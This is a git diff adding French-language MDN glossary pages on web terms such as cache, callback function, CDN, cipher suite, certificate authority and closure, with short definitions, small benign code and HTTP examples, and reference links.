Un contexte de navigation est l'environnement dans lequel un {{glossary("Browser","navigateur")}} affiche un {{domxref("Document","document")}}. Dans les navigateurs modernes, il s'agit généralement d'un onglet, mais il peut s'agir d'une fenêtre ou encore seulement des parties d'une page, comme une {{HTMLElement("frame")}} ou une {{HTMLElement("iframe")}}.

+ +

Chaque contexte de navigation possède une {{glossary("Origin","origine")}} spécifique, l'origine du document actif, ainsi qu'un historique qui énumère dans l'ordre tous les documents affichés.

+ +

La communication entre les contextes de navigation est sévèrement restreinte. Entre des contextes de la même origine, il est possible d'ouvrir et utiliser un canal {{domxref("BroadcastChannel")}}.

+ +

En apprendre plus

+ +

Référence technique

+ + diff --git a/files/fr/glossary/buffer/index.html b/files/fr/glossary/buffer/index.html new file mode 100644 index 0000000000..50292d0b87 --- /dev/null +++ b/files/fr/glossary/buffer/index.html @@ -0,0 +1,17 @@ +--- +title: Tampon +slug: Glossaire/Tampon +tags: + - Glossaire + - Stockage temporaire +translation_of: Glossary/buffer +--- +

Un tampon est un stockage dans la mémoire physique utilisé pour stocker temporairement des données pendant leur transfert d'un endroit à un autre.

+ +

En apprendre plus

+ +

Culture générale

+ + diff --git "a/files/fr/glossary/b\303\251zier_curve/index.html" "b/files/fr/glossary/b\303\251zier_curve/index.html" new file mode 100644 index 0000000000..4528e77ad8 --- /dev/null +++ "b/files/fr/glossary/b\303\251zier_curve/index.html" @@ -0,0 +1,33 @@ +--- +title: Courbe de Bézier +slug: Glossaire/Bézier_curve +tags: + - Courbe de Bézier + - Glossaire + - Reference + - graphique +translation_of: Glossary/Bézier_curve +--- +

Une courbe de Bézier est une courbe décrite mathématiquement utilisée en infographie et en animation. Dans {{Glossary("vector image", "vector images")}}, elles sont utilisées pour modéliser des courbes lisses qui peuvent être redimensionnées indéfiniment.

+ +

La courbe est définie par un ensemble de points de contrôle avec un minimum de deux. Les graphiques et animations Web utilisent Cubic Béziers, qui sont des courbes avec quatre points de contrôle P0, P1, P2, et P3.

+ +

Pour tracer la courbe, deux lignes imaginaires sont tracées l'une de P0 à P1 et l'autre de P1 à P2. Les extrémités des lignes sont ensuite régulièrement déplacées vers le point suivant. Une troisième ligne imaginaire est dessinée avec son point de départ se déplaçant régulièrement sur la première ligne d'assistance et le point final sur la deuxième ligne d'assistance. Sur cette ligne imaginaire, un point est dessiné à partir de son point de départ en se déplaçant régulièrement vers son point final. La courbe décrite par ce point est la courbe de Bézier. Voici une illustration animée démontrant la création de la courbe :

+ +

Drawing a Bézier curve

+ +

Apprendre plus

+ +

Culture générale

+ + + +

En savoir plus

+ + diff --git a/files/fr/glossary/cache/index.html b/files/fr/glossary/cache/index.html new file mode 100644 index 0000000000..4e09279526 --- /dev/null +++ b/files/fr/glossary/cache/index.html @@ -0,0 +1,17 @@ +--- +title: Cache +slug: Glossaire/Cache +tags: + - Glossaire + - HTTP +translation_of: Glossary/Cache +--- +

Un cache (cache web ou cache HTTP) est un composant stockant temporairement les réponses HTTP dans le but de les réutiliser lors de requêtes HTTP ultérieures, tant qu'elles remplissent certaines conditions.

+ +

Pour approfondir

+ +

Culture générale

+ +
    +
  • {{interwiki("wikipedia", "Cache web")}} sur Wikipedia
    • +
diff --git a/files/fr/glossary/cacheable/index.html b/files/fr/glossary/cacheable/index.html new file mode 100644 index 0000000000..4442b4bfb8 --- /dev/null +++ b/files/fr/glossary/cacheable/index.html @@ -0,0 +1,60 @@ +--- +title: Apte à être mis en cache +slug: Glossaire/cacheable +tags: + - Glossaire + - Mise en cache + - Mécanismes web +translation_of: Glossary/cacheable +--- +

Une réponse apte à être mise en cache (cacheable) est une réponse HTTP qui peut être mise en cache, qui est stockée pour être récupérée et utilisée plus tard, en enregistrant une nouvelle requête sur le serveur. Toutes les réponses HTTP ne peuvent pas être mises en cache, les contraintes suivantes sont requises pour qu'une réponse HTTP soit mise en cache :

+ +
    +
  • La méthode utilisée dans la requête peut elle-même être mise en cache, c'est une méthode {{HTTPMethod("GET")}} ou {{HTTPMethod("HEAD")}}. Une réponse de la méthode {{HTTPMethod("POST")}} peut aussi être mise en cache si le rafraîchissement est indiqué, mais c'est rarement implémenté. D'autres méthodes comme {{HTTPMethod("PUT")}} ou {{HTTPMethod("DELETE")}} ne peuvent pas être mises en cache et leur résultat pas davantage.
    • +
  • Le code d'état de la réponse est connu par la mise en cache de l'application et il est considéré comme apte à être mis en cache. Les codes d'état suivants peuvent être mis en cache : {{HTTPStatus("200")}}, {{HTTPStatus("203")}}, {{HTTPStatus("204")}}, {{HTTPStatus("206")}}, {{HTTPStatus("300")}}, {{HTTPStatus("301")}}, {{HTTPStatus("404")}}, {{HTTPStatus("405")}}, {{HTTPStatus("410")}}, {{HTTPStatus("414")}}, et {{HTTPStatus("501")}}.
    • +
  • Il n'y a pas d'en-tête spécifique dans la réponse, comme {{HTTPHeader("Cache-Control")}}, qui empêche la mise en cache.
    • +
+ +

Notez que certaines requêtes / réponses ne pouvant être mises en cache à un URI spécifique peuvent invalider des réponses précédemment mises en cache sur le même URI. Par exemple, un {{HTTPMethod("PUT")}} à pageX.html invalidera toutes les requêtes {{HTTPMethod("GET")}} ou {{HTTPMethod("HEAD")}} dans le même URI.

+ +

Lorsque les deux, la méthode de la requête et l'état de la réponse, peuvent être mis en cache, la réponse à la requête peut être mise en cache :

+ +
GET /pageX.html HTTP/1.1
+(…)
+
+200 OK
+(…)
+
+ +

Une requête {{HTTPMethod("PUT")}} ne peut pas être mise en cache. De plus, elle invalide les données mises en cache pour une requête au même URI via {{HTTPMethod("HEAD")}} ou {{HTTPMethod("GET")}} :

+ +
PUT /pageX.html HTTP/1.1
+(…)
+
+200 OK
+(…)
+
+ +

Un en-tête spécifique {{HTTPHeader("Cache-Control")}} dans la réponse peut empêcher la mise en cache :

+ +
GET /pageX.html HTTP/1.1
+(…)
+
+200 OK
+Cache-Control: no-cache
+(…)
+ +

En apprendre plus

+ +

Culture générale

+ +
    +
  • Définition de cacheable dans la spécification HTTP.
    • +
+ +

Références techniques

+ +
    +
  • Description de méthodes courantes pouvant être mises en cache : {{HTTPMethod("GET")}}, {{HTTPMethod("HEAD")}}
    • +
  • Description de méthodes courantes ne pouvant pas être mises en cache : {{HTTPMethod("PUT")}}, {{HTTPMethod("DELETE")}} et souvent {{HTTPMethod("POST")}}
    • +
diff --git a/files/fr/glossary/caldav/index.html b/files/fr/glossary/caldav/index.html new file mode 100644 index 0000000000..7f53197909 --- /dev/null +++ b/files/fr/glossary/caldav/index.html @@ -0,0 +1,25 @@ +--- +title: CalDAV +slug: Glossaire/CalDAV +tags: + - CalDAV + - Glossaire + - Infrastructure +translation_of: Glossary/CalDAV +--- +

CalDAV (extensions de gestion de calendrier pour {{Glossary("WebDAV")}}) est un {{glossary("protocol","protocole")}} normalisé par l'IETF utilisé pour accéder à distance à des données d'agendas stockées sur un {{glossary("server","serveur")}}.

+ +

Pour en savoir plus

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "CalDAV")}} sur Wikipédia
    • +
+ +

Référence technique

+ + diff --git a/files/fr/glossary/call_stack/index.html b/files/fr/glossary/call_stack/index.html new file mode 100644 index 0000000000..56f544bc90 --- /dev/null +++ b/files/fr/glossary/call_stack/index.html @@ -0,0 +1,25 @@ +--- +title: Pile d'exécution +slug: Glossaire/Pile_d_exécution +tags: + - Encodage + - Glossaire + - Pile d'exécution +translation_of: Glossary/Call_stack +--- +

Une pile d'exécution est le mécanisme d'un interpréteur (comme l'interpréteur de JavaScript sur un navigateur web) pour conserver la trace de son emplacement dans un script qui appelle plusieurs {{glossary("Function","fonctions")}} depuis d'autres fonctions  — quelle fonction est en cours d'exécution, quelles fonctions sont appelées depuis cette fonction et doivent être appelées ensuite, etc.

+ +
    +
  • Lorsqu'un script appelle une fonction, l'interpréteur ajoute sa position actuelle sur la pile d'exécution comme étant son adresse de retour, et ensuite, il se lance dans l'exécution de la fonction.
    • +
  • Toutes les fonctions appelées par cette fonction sont ajoutées à la pile d'appels plus haut, et s'exécutent là où leurs appels sont atteints.
    • +
  • Quand la fonction se termine, l'interpréteur récupère l'adresse de retour la plus récente depuis la pile et reprend l'exécution à partir de l'endroit indiqué par celle-ci.
    • +
  • Si la pile est sollicitée au-delà de l'espace qui lui a été affecté, une erreur "dépassement de pile" se produit.
    • +
+ +

En apprendre plus

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia","Pile_d'exécution","Pile d'exécution")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/callback_function/index.html b/files/fr/glossary/callback_function/index.html new file mode 100644 index 0000000000..f736c36a1e --- /dev/null +++ b/files/fr/glossary/callback_function/index.html @@ -0,0 +1,41 @@ +--- +title: Fonction de rappel (callback) +slug: Glossaire/Fonction_de_rappel +tags: + - Callback + - Fonction de rappel + - Glossaire + - Rappel +translation_of: Glossary/Callback_function +--- +

Une fonction de rappel (aussi appelée callback en anglais) est une fonction passée dans une autre fonction en tant qu'argument, qui est ensuite invoquée à l'intérieur de la fonction externe pour accomplir une sorte de routine ou d'action.

+ +

Voici un rapide exemple :

+ +
function salutation(name) {
+  alert('Bonjour ' + name);
+}
+
+function processUserInput(callback) {
+  var name = prompt('Entrez votre nom.');
+  callback(name);
+}
+
+processUserInput(salutation);
+ +

L' exemple ci-dessus est un rappel {{glossary("synchronous","synchrone")}} et il est exécuté immédiatement.

+ +

Notez cependant que les rappels sont souvent utilisés pour continuer l'exécution de code après l'achèvement d'une opération {{glossary("asynchronous","asynchrone")}} — ceux-ci sont appelés les rappels asynchrones. Dans l'exemple xhr-async-callback (voir aussi en direct), on utilise la fonction displayImage comme une fonction de rappel pour la fonction loadAsset (cette dernière récupère l'image via une requête XHR).

+ +

Exécuté de cette façon, asynchrone via l'API Web XMLHttpRequest, le chargement de l'image ne bloque pas le reste du contenu.

+ +

En apprendre plus

+ +

Culture générale

+ + diff --git a/files/fr/glossary/canonical_order/index.html b/files/fr/glossary/canonical_order/index.html new file mode 100644 index 0000000000..9064b264e4 --- /dev/null +++ b/files/fr/glossary/canonical_order/index.html @@ -0,0 +1,33 @@ +--- +title: Ordre canonique +slug: Glossaire/Ordre_canonique +tags: + - CSS + - Encodage + - Glossaire + - ordre canonique +translation_of: Glossary/Canonical_order +--- +

En CSS, la locution "ordre canonique" est utilisée pour désigner l'ordre dans lequel des valeurs séparées doivent être spécifiées (ou {{Glossary("parse","analysées")}}) ou doivent être {{Glossary("serialization","sérialisées")}} dans le cadre d'une valeur de propriété CSS. Il est défini par la {{Glossary ("Syntax","syntaxe")}} formelle de la propriété et se réfère normalement à l'ordre dans lequel les valeurs longues doivent être spécifiées dans le cadre d'une seule valeur raccourcie.

+ +

Par exemple, {{cssxref("background")}}, les valeurs de propriété raccourcie sont constituées de plusieurs propriétés background-* . L'ordre canonique de ces valeurs longues est défini comme suit :

+ +
    +
  1. {{cssxref("background-image")}}
    2. +
  2. {{cssxref("background-position")}}
    3. +
  3. {{cssxref("background-size")}}
    4. +
  4. {{cssxref("background-repeat")}}
    5. +
  5. {{cssxref("background-attachment")}}
    6. +
  6. {{cssxref("background-origin")}}
    7. +
  7. {{cssxref("background-clip")}}
    8. +
  8. {{cssxref("background-color")}}
    9. +
+ +

De plus, sa syntaxe exige que, si une valeur pour {{cssxref("background-size")}} est donnée, elle doit être spécifiée après la valeur de {{cssxref("background-position")}}, séparée par une barre oblique. D'autres valeurs peuvent apparaître dans n'importe quel ordre.

+ +

En apprendre plus

+ + diff --git a/files/fr/glossary/canvas/index.html b/files/fr/glossary/canvas/index.html new file mode 100644 index 0000000000..896a9d77fc --- /dev/null +++ b/files/fr/glossary/canvas/index.html @@ -0,0 +1,35 @@ +--- +title: Canvas +slug: Glossaire/Canvas +tags: + - Glossaire + - Graphismes + - HTML + - JavaScript + - scripts +translation_of: Glossary/Canvas +--- +

L'élément {{Glossary("HTML")}} {{HTMLElement("canvas")}} fournit une zone graphique vide sur laquelle des {{Glossary("API","API")}} {{Glossary("JavaScript")}} spécifiques peuvent dessiner (telles que des Canvas 2D ou du {{Glossary("WebGL")}}) .

+ +

En savoir plus

+ +

Culture Générale

+ +
    +
  • {{Interwiki("wikipedia", "Canvas element", "Canvas")}} sur Wikipedia
    • +
+ +

Apprentissage

+ + + +

Informations techniques

+ + diff --git a/files/fr/glossary/card_sorting/index.html b/files/fr/glossary/card_sorting/index.html new file mode 100644 index 0000000000..95f50f5c2c --- /dev/null +++ b/files/fr/glossary/card_sorting/index.html @@ -0,0 +1,17 @@ +--- +title: Tri par cartes +slug: Glossaire/Tri_par_cartes +tags: + - Conception + - Glossaire +translation_of: Glossary/Card_sorting +--- +

Le tri par cartes est une méthode simple utilisée en {{glossary("Information architecture","architecture informatique")}}. Les gens impliqués dans la conception d'un site (ou d'un autre type de produit) sont invités à formaliser le contenu, les services et les fonctionnalités qui leur semblent essentiels au produit. Ensuite, ces fonctionnalités sont triées par catégories ou groupements. Cette technique peut être utile pour déterminer, par exemple, ce qui devrait aller sur chaque page d'un site. L'origine du nom est simple : souvent, le tri par carte consiste à écrire des éléments à trier sur des cartes et à ensuite trier ces cartes dans différentes piles.

+ +

Pour approfondir

+ +

Culture générale

+ + diff --git a/files/fr/glossary/carddav/index.html b/files/fr/glossary/carddav/index.html new file mode 100644 index 0000000000..e07522e671 --- /dev/null +++ b/files/fr/glossary/carddav/index.html @@ -0,0 +1,24 @@ +--- +title: CardDAV +slug: Glossaire/CardDAV +tags: + - CardDAV + - Glossaire + - Infrastructure +translation_of: Glossary/CardDAV +--- +

CardDAV (extension vCard pour {{Glossary("WebDAV")}}) est un {{glossary("protocol","protocole")}} normalisé par l'IETF et utilisé pour partager ou accéder à distance à des informations de contacts par l'intermédiaire d'un {{glossary("server","serveur")}}.

+ +

Plus d'informations

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "CardDAV")}} sur Wikipedia
    • +
+ +

Référence technique

+ + diff --git a/files/fr/glossary/caret/index.html b/files/fr/glossary/caret/index.html new file mode 100644 index 0000000000..fa81ceca96 --- /dev/null +++ b/files/fr/glossary/caret/index.html @@ -0,0 +1,39 @@ +--- +title: Curseur "caret" +slug: Glossaire/Curseur_caret +tags: + - Curseurs + - Glossaire + - Insertion +translation_of: Glossary/caret +--- +

Un curseur ("caret" parfois appelé "curseur de texte") est un indicateur affiché sur l'écran pour indiquer où la saisie de texte sera insérée. La plupart des interfaces utilisateur représentent le curseur à l'aide d'une fine ligne verticale ou d'une boîte de taille de caractère qui clignote, mais cela peut varier. Ce point dans le texte est appelé le point d'insertion. Le mot anglais "caret" différencie le point d'insertion du texte du curseur (cursor) de la souris.

+ +

Sur le web, un curseur "caret" est utilisé pour représenter le point d'insertion dans les éléments {{HTMLElement("input")}} et {{HTMLElement("textarea")}}, ainsi que tous les éléments dont l'attribut {{htmlattrxref("contenteditable")}} est défini, permettant ainsi au contenu de l'élément d'être édité par l'utilisateur.

+ +

En apprendre plus

+ +

Culture générale

+ +
    +
  • {{interwiki("wikipedia", "Curseur")}} sur Wikipedia
    • +
+ +

CSS lié au curseur "caret"

+ +

Vous pouvez définir la couleur du curseur pour le contenu modifiable d'un élément donné en définissant la propriété CSS {{cssxref("caret-color")}} de l'élément et une valeur appropriée de {{cssxref("<color>")}}.

+ +

Éléments HTML susceptibles de présenter un signe d'insertion

+ +

Ces éléments fournissent des champs ou des zones de saisie de texte et utilisent donc le signe d'insertion.

+ + diff --git a/files/fr/glossary/cdn/index.html b/files/fr/glossary/cdn/index.html new file mode 100644 index 0000000000..737c929cac --- /dev/null +++ b/files/fr/glossary/cdn/index.html @@ -0,0 +1,17 @@ +--- +title: CDN +slug: Glossaire/CDN +tags: + - Glossaire + - Infrastructure +translation_of: Glossary/CDN +--- +

Un CDN (Content Delivery Network) est un groupe de serveurs répartis en de nombreux endroits. Ces serveurs répliquent des copies des données. De cette manière, les serveurs peuvent  répondre aux requêtes de données en se basant sur les serveurs les plus proches de leurs utilisateurs finaux respectifs. Les CDN rendent les services rapides et moins affectés par les trafics élevés.

+ +

Les CDN sont largement utilisés pour fournir des feuilles de style et des fichiers JavaScript (actifs statiques) de bibliothèques comme Bootstrap, jQuery, etc. L'utilisation de CDN pour ces fichiers de bibliothèque est préférable pour un certain nombre de raisons :

+ +
    +
  • la gestion des ressources statiques des bibliothèques sur CDN réduit la charge de la requête sur nos propres serveurs.
    • +
  • la plupart des CDN ont des serveurs partout dans le monde, de sorte que les serveurs de CDN peuvent être géographiquement plus proches de vos utilisateurs que vos propres serveurs. La distance géographique affecte proportionnellement la latence.
    • +
  • les CDN sont déjà configurés avec les paramètres de cache appropriés. L'utilisation d'un CDN sauvegarde la configuration pour les ressources statiques sur vos propres serveurs.
    • +
diff --git a/files/fr/glossary/certificate_authority/index.html b/files/fr/glossary/certificate_authority/index.html new file mode 100644 index 0000000000..86df49fbc8 --- /dev/null +++ b/files/fr/glossary/certificate_authority/index.html @@ -0,0 +1,18 @@ +--- +title: Autorité de certification +slug: Glossaire/Certificate_authority +tags: + - Cryptographie + - Glossaire + - Sécurité +translation_of: Glossary/Certificate_authority +--- +

Une autorité de certification (AC, ou CA en anglais) est une organisation qui {{Glossary("Signature/Security", "signe")}} des {{Glossary("Digital certificate", "certificats numériques")}} et leurs {{Glossary("Clé", "clés publiques")}} associées. Cela certifie qu'une organisation qui a demandé un certificat numérique (exemple : Mozilla Corporation) est autorisée à demander un certificat pour le sujet nommé dans celui-ci (exemple : mozilla.org).

+ +

Les navigateurs Web intègrent une liste d'autorités de certification qui sont autorisées à émettre des certificats numériques.

+ +

Pour approfondir

+ + diff --git a/files/fr/glossary/certified/index.html b/files/fr/glossary/certified/index.html new file mode 100644 index 0000000000..c83a6b70ba --- /dev/null +++ b/files/fr/glossary/certified/index.html @@ -0,0 +1,30 @@ +--- +title: Certifié +slug: Glossaire/Certifié +tags: + - Applications + - Firefox OS + - Glossaire + - Sécurité +translation_of: Glossary/Certified +--- +

Certifié signifie qu'un contenu, une application ou une transmission de données a passé avec succès une évaluation faite par des professionnels ayant une expertise dans le domaine concerné, indiquant ainsi l'exhaustivité, la sécurité et la fiabilité.

+ +

Pour les détails sur la certification en {{glossary("Cryptography","Cryptographie")}}, veuillez vous référer aux {{glossary("Digital Certificate","certificats numériques")}}.

+ +

Pour approfondir

+ +

Culture générale

+ + + +

Firefox OS

+ +
    +
  • Les applications internes de Firefox OS sont aussi parfois appelées applications certifiées : voir Permissions des applications pour plus d'informations.
    • +
+ +

 

diff --git a/files/fr/glossary/challenge/index.html b/files/fr/glossary/challenge/index.html new file mode 100644 index 0000000000..eb3ef9073f --- /dev/null +++ b/files/fr/glossary/challenge/index.html @@ -0,0 +1,18 @@ +--- +title: Authentification par défi-réponse +slug: Glossaire/défi_réponse +tags: + - Glossaire + - Protocoles + - Sécurité +translation_of: Glossary/challenge +--- +

Dans les protocoles de sécurité, un défi (challenge), c'est quelques données envoyées au client par le serveur demandant des réponses différentes à chaque fois. Les protocoles défi-réponse sont une manière de combattre des attaques par rejeu dans lesquelles un attaquant écoute le message précédent et le renvoie une nouvelle fois pour obtenir la même information d'identification que le message original.

+ +

Le protocole d'authentification HTTP est basé sur défi-réponse, bien que le protocole "basique" n'utilise pas un vrai défi (le domaine est toujours le même).

+ +

En apprendre plus

+ + diff --git a/files/fr/glossary/character/index.html b/files/fr/glossary/character/index.html new file mode 100644 index 0000000000..ffa5553c0c --- /dev/null +++ b/files/fr/glossary/character/index.html @@ -0,0 +1,23 @@ +--- +title: Caractère +slug: Glossaire/Character +tags: + - Caractères + - Chaîne de caractères + - Glossaire + - scripts +translation_of: Glossary/Character +--- +

Un caractère peut être un symbole (lettre, chiffre, ponctuation) ou un caractère de contrôle (par exemple un retour chariot ou un trait d'union conditionnel). {{glossary("UTF-8")}} est le jeu de caractères le plus courant. Il comprend les graphèmes des langues les plus répandues.

+ +

Pour approfondir

+ +

Connaissances générales

+ +
    +
  • {{interwiki("wikipedia", "Caractère_(informatique)","Caractère (informatique)")}} sur Wikipédia
    • +
  • {{interwiki("wikipedia", "Codage_des_caractères","Codage des caractères")}} sur Wikipédia
    • +
  • {{interwiki("wikipedia","American_Standard_Code_for_Information_Interchange", "ASCII")}} sur Wikipédia
    • +
  • {{interwiki("wikipedia", "UTF-8")}} sur Wikipédia
    • +
  • {{interwiki("wikipedia", "Unicode")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/character_encoding/index.html b/files/fr/glossary/character_encoding/index.html new file mode 100644 index 0000000000..299bb1c955 --- /dev/null +++ b/files/fr/glossary/character_encoding/index.html @@ -0,0 +1,28 @@ +--- +title: Codage des caractères +slug: Glossaire/codage_caracteres +tags: + - Composition + - Glossaire + - Internationalisation + - Langues +translation_of: Glossary/character_encoding +--- +

Un encodage définit une correspondance entre les octets et le texte. Une séquence d'octets permet différentes interprétations textuelles. En spécifiant un codage particulier (tel que UTF-8), nous spécifions comment la séquence d'octets doit être interprétée.

+ +

Par exemple, en HTML, nous déclarons généralement l'usage du codage de caractères UTF-8 en utilisant la ligne suivante :

+ +
+
<meta charset="utf-8">
+ +

Ceci nous permet de nous assurer que nous pouvons utiliser des caractères issus de presque toutes les langues humaines dans notre document HTML et que ces caractères seront affichés correctement.

+
+ +

Pour approfondir

+ +

Culture générale

+ + diff --git a/files/fr/glossary/chrome/index.html b/files/fr/glossary/chrome/index.html new file mode 100644 index 0000000000..22854c45ae --- /dev/null +++ b/files/fr/glossary/chrome/index.html @@ -0,0 +1,19 @@ +--- +title: Chrome +slug: Glossaire/Chrome +tags: + - Chrome + - Glossaire + - Mécaniques web + - Navigateur +translation_of: Glossary/Chrome +--- +

Résumé

+ +

Dans un navigateur, le chrome est n'importe quel aspect visible d'un navigateur en dehors des pages Web elles-mêmes (par exemple, barres d'outils, barre de menu, onglets). Il ne doit pas être confondu avec le navigateur {{glossary("Google Chrome")}}.

+ +

En profondeur

+ + diff --git a/files/fr/glossary/cia/index.html b/files/fr/glossary/cia/index.html new file mode 100644 index 0000000000..7ea48838dd --- /dev/null +++ b/files/fr/glossary/cia/index.html @@ -0,0 +1,17 @@ +--- +title: DIC +slug: Glossaire/DIC +tags: + - Glossaire + - Sécurité +translation_of: Glossary/CIA +--- +

DIC (Disponibilité, Intégrité, Confidentialité) (également appelé triade DIC ou triade CID) est un modèle qui guide les stratégies d'une organisation dans le domaine de la sécurité de l'information.

+ +

Pour approfondir

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "Sécurité_de_l'information#Critères_de_sensibilité", "DIC")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/cipher/index.html b/files/fr/glossary/cipher/index.html new file mode 100644 index 0000000000..227cbd9043 --- /dev/null +++ b/files/fr/glossary/cipher/index.html @@ -0,0 +1,33 @@ +--- +title: Chiffre +slug: Glossaire/Chiffre +tags: + - Attaques + - Cryptographie + - Glossaire + - Sécurité + - Vie privée +translation_of: Glossary/Cipher +--- +

En {{glossary("cryptography","cryptographie")}}, un chiffre est un algorithme qui permet de {{glossary("encryption","chiffrer")}} du {{glossary("cleartext","texte brut")}} dans le but de le rendre illisible et de le {{glossary("decryption", "déchiffrer")}} par la suite.

+ +

Les chiffres étaient communs bien avant l'âge de l'informatique (par exemple, le chiffrement par substitution, le chiffrement par transposition ou le chiffrement par permutation), mais aucun d'entre eux n'était cryptologiquement sûr à l'exception du masque jetable.

+ +

Les chiffres modernes sont construits de manière à résister à des {{glossary("attack","attaques")}} découvertes par un {{glossary("cryptanalysis","cryptanalyste")}}. Il n'y a aucune garantie que tous les vecteurs d'attaques aient été découverts, mais chaque algorithme est jugé à l'aune des types de vecteurs d'attaques connus.

+ +

Les chiffres opèrent de deux manières, soit en chiffrement par bloc sur des blocs de données, soit en chiffrement par flot pour des flux de données continus (souvent de l'audio ou de la vidéo).

+ +

Ils sont également classés en fonction de la manière dont leurs {{glossary("Key", "clefs")}} sont gérées :

+ +
    +
  • les algorithmes à clefs symétriques utilisent la même clef pour chiffrer et déchiffrer un message. Cette clef doit également être envoyée de manière sécurisée afin que le message reste confidentiel.
    • +
  • les algorithmes à clefs asymétriques utilisent une clef différente pour le chiffrement et le déchiffrement.
    • +
+ +

En savoir plus

+ +

Connaissances générales

+ +
    +
  • {{Interwiki("wikipedia","Chiffrement")}} sur Wikipedia
    • +
diff --git a/files/fr/glossary/cipher_suite/index.html b/files/fr/glossary/cipher_suite/index.html new file mode 100644 index 0000000000..7ea59ef53c --- /dev/null +++ b/files/fr/glossary/cipher_suite/index.html @@ -0,0 +1,25 @@ +--- +title: Suite de chiffrement +slug: Glossaire/suite_de_chiffrement +tags: + - Cryptographie + - Glossaire + - Sécurité +translation_of: Glossary/Cipher_suite +--- +

Une suite de chiffrement est un ensemble comprenant un algorithme d'échange de clefs, une méthode d'authentification, un {{glossary("Cipher","chiffre")}} et un code d'authentification des messages.

+ +

Dans un {{glossary("cryptosystem","protocole de chiffrement")}} tel que {{glossary("TLS")}}, le client et le serveur doivent s'accorder sur une suite de chiffrement avant de pouvoir commencer à communiquer de manière sécurisée. Un exemple de suite de chiffrement peut être ECDHE_RSA_WITH_AES_128_GCM_SHA256 ou ECDHE-RSA-AES128-GCM-SHA256. Ces exemples indiquent : 

+ +
    +
  • ECDHE (elliptic curve Diffie-Hellman ephemeral) pour l'échange de clefs
    • +
  • RSA pour l'authentification
    • +
  • AES-128 comme chiffre, avec Galois/Counter Mode (GCM) comme mode d'opération de chiffrement par bloc
    • +
  • SHA-256 comme code d'authentification des messages (HMAC)
    • +
+ +

En apprendre plus

+ + diff --git a/files/fr/glossary/ciphertext/index.html b/files/fr/glossary/ciphertext/index.html new file mode 100644 index 0000000000..65dd4ba849 --- /dev/null +++ b/files/fr/glossary/ciphertext/index.html @@ -0,0 +1,20 @@ +--- +title: Cryptogramme +slug: Glossaire/Cryptogramme +tags: + - Confidentialité + - Cryptographie + - Glossaire + - Privacy + - Sécurité +translation_of: Glossary/Ciphertext +--- +

En {{glossary("cryptography","cryptographie")}}, un cryptogramme est un message codé qui contient des informations mais qui n'est pas lisible sauf s'il est {{glossary("decryption","déchiffré")}} avec le bon {{glossary("cipher","cryptosystème")}} et le bon code secret (qu'on appelle une {{glossary("Key","clé")}}). Une fois déchiffré, on obtient le {{glossary("Texte_brut","texte brut")}}. La sécurité d'un cryptogramme et par conséquent celle des informations qu'il contient dépendent de la sécurité du cryptosystème utilisé et de la possibilité de garder la clé secrète.

+ +

En savoir plus

+ +

Connaissances générales

+ +
    +
  • {{Interwiki("wikipedia", "Cryptographie")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/class/index.html b/files/fr/glossary/class/index.html new file mode 100644 index 0000000000..6166ae6700 --- /dev/null +++ b/files/fr/glossary/class/index.html @@ -0,0 +1,20 @@ +--- +title: Classe +slug: Glossaire/Class +tags: + - Glossaire + - scripts +translation_of: Glossary/Class +--- +

En {{glossary("OOP","programmation orientée objet")}}, une classe définit les caractéristiques d'un {{glossary("object","objet")}}. Une classe est une définition de modèle pour les {{glossary("property","propriétés")}} et les {{glossary("method","méthodes")}} d'un objet, le "schéma" à partir duquel d'autres instances plus spécifiques de l'objet sont tracées.

+ +

Pour approfondir

+ +

Culture générale

+ + diff --git a/files/fr/glossary/closure/index.html b/files/fr/glossary/closure/index.html new file mode 100644 index 0000000000..37e9e918a7 --- /dev/null +++ b/files/fr/glossary/closure/index.html @@ -0,0 +1,23 @@ +--- +title: Fermeture +slug: Glossaire/Fermeture +tags: + - Encodage + - Glossaire +translation_of: Glossary/Closure +--- +

La contrainte qui définit la {{glossary("scope","portée")}} d'exécution. En {{glossary("JavaScript")}}, les {{glossary("function","fonctions")}} créent un contexte de fermeture.

+ +

Pour approfondir

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "Fermeture (informatique)", "Fermeture")}} sur Wikipédia
    • +
+ +

Référence technique

+ + diff --git a/files/fr/glossary/cms/index.html b/files/fr/glossary/cms/index.html new file mode 100644 index 0000000000..0528bb2843 --- /dev/null +++ b/files/fr/glossary/cms/index.html @@ -0,0 +1,18 @@ +--- +title: CMS +slug: Glossaire/CMS +tags: + - CMS + - Composition + - Glossaire +translation_of: Glossary/CMS +--- +

Un CMS (Content Management System ou Système de gestion de contenu) est un logiciel permettant à un utilisateur de publier, organiser, modifier et supprimer différents types de contenus. Il peut s'agir de textes, d'images, de vidéos, de son ou encore, de code interactif.

+ +

Pour approfondir

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "Système de gestion de contenu")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/codec/index.html b/files/fr/glossary/codec/index.html new file mode 100644 index 0000000000..ae310ad06d --- /dev/null +++ b/files/fr/glossary/codec/index.html @@ -0,0 +1,23 @@ +--- +title: Codec +slug: Glossaire/Codec +tags: + - Glossaire + - Mécanique web +translation_of: Glossary/Codec +--- +

Un codec  (terme formé à partir de "codeur-décodeur") est un programme informatique qui code et décode un flux de données.

+ +

Plus d'informations

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "Codec")}} sur Wikipédia
    • +
+ +

Référence technique

+ + diff --git a/files/fr/glossary/compile/index.html b/files/fr/glossary/compile/index.html new file mode 100644 index 0000000000..dfa623e454 --- /dev/null +++ b/files/fr/glossary/compile/index.html @@ -0,0 +1,24 @@ +--- +title: Compilation +slug: Glossaire/Compile +tags: + - Compilation + - Glossaire + - Langages +translation_of: Glossary/Compile +--- +

La compilation est un processus consistant à transformer un programme informatique, écrit dans un langage donné, en un programme dans un autre langage (généralement en assembleur qui pourra être exécuté par l'ordinateur).

+ +

En savoir plus

+ +

Connaissances générales

+ +
    +
  • {{Interwiki("wikipedia", "Compilateur")}} sur Wikipedia
    • +
+ +

Pour approfondir

